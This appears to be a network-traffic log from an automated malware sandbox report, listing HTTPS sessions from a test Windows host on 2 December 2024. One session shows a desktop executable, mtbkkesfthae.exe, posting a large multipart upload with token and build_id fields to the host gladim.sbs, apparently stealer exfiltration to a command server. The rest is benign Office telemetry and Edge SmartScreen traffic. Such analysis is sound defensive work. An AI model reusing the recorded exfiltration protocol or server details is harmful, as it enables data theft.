2024-12-02 00:34:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49857	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------FBGIDHCAAKEBAKFIIIEBCont
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:43 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003443Z-174f7845968j6t2phC1EWRcfe800000013r000000000ppsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:43 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ce20f954-a01e-006f-7a27-4413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003443Z-174f7845968psccphC1EWRuz9s00000013zg000000006c5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49859	20.25.227.174	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiRzdJUFFQMnBNTWVTejJiSFJpeDMwZz09IiwgImhhc2giOiJaMjF3bnlkYWRzUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-12-02 00:34:42 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-12-02 00:34:43 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:43 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-12-02 00:34:43 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
